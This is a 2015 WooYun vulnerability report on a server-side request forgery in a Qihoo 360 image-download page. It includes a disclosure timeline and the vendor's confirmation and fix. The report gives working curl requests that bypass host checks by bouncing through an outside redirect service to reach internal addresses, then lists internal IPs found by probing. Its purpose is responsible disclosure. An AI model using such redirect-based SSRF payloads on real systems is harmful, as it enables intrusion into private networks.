当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0135257

漏洞标题：神器而已之奇虎360某SSRF绕过限制代理访问内网

相关厂商：奇虎360

漏洞作者： 举起手来

提交时间：2015-08-19 11:52

修复时间：2015-10-03 12:04

公开时间：2015-10-03 12:04

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-19： 细节已通知厂商并且等待厂商处理中
2015-08-19： 厂商已经确认，细节仅向厂商公开
2015-08-29： 细节向核心白帽子及相关领域专家公开
2015-09-08： 细节向普通白帽子公开
2015-09-18： 细节向实习白帽子公开
2015-10-03： 细节向公众公开

简要描述：

神器面前。。

详细说明：

http://luyou.360.cn/activity/downLoadImg.php?url=https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superplus/img/logo_white.png&filetype=jpg&filename=360ProductSpecificationp-p1
这个逻辑是原创获取一个图片内容，然后再写入到另外一个文件。
自然会想到是否可以访问内网，尝试以后发现做了两个限制：
1.url必须是http或者https
2.后缀必须是图片
好，那么我们这么来绕过试试：
http://luyou.360.cn/activity/downLoadImg.php?url=http://navsite.adsys.qihoo.net/?logo_white.png&filetype=jpg&filename=360ProductSpecificationp-p1
依然不行，所以这些猜测本身是做了host的判断的，绕过host是对应内网则不请求
百思之后，决定试试用跳转来试试，结果成功了
http://luyou.360.cn/activity/downLoadImg.php?url=http://x1x2x3.duapp.com/l.php?url=http://10.121.95.65/?%2378348ee.jpg&filetype=jpg&filename=360ProductSpecificationp-p1

➜  tmp  curl "http://luyou.360.cn/activity/downLoadImg.php?url=http://x1x2x3.duapp.com/l.php?url=http://10.121.95.65/?%2378348ee.jpg&filetype=jpg&filename=360ProductSpecificationp-p1"
<html>
<head>
<title>Welcome to nginx!</title>
</head>
<body bgcolor="white" text="black">
<center><h1>Welcome to nginx!</h1></center>
</body>
</html>


漏洞证明：

简单探测了一下：
发现了一些ip的80是可用的：
10.121.95.65
10.121.95.168
10.121.95.160
10.121.95.222

➜  tmp  curl "http://luyou.360.cn/activity/downLoadImg.php?url=http://x1x2x3.duapp.com/l.php?url=http://navsite.adsys.qihoo.net/?%2378348ee.jpg&filetype=jpg&filename=360ProductSpecificationp-p1"
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>
<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>
<p><em>Thank you for using nginx.</em></p>
</body>
</html>

修复方案：

~

版权声明：转载请注明来源 举起手来@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-08-19 12:02

厂商回复：

感谢您的反馈，相关业务已进行修复。后续更多问题可以反馈到360SRC（） 中秋发放福利即将到来～ 亲～

最新状态：

暂无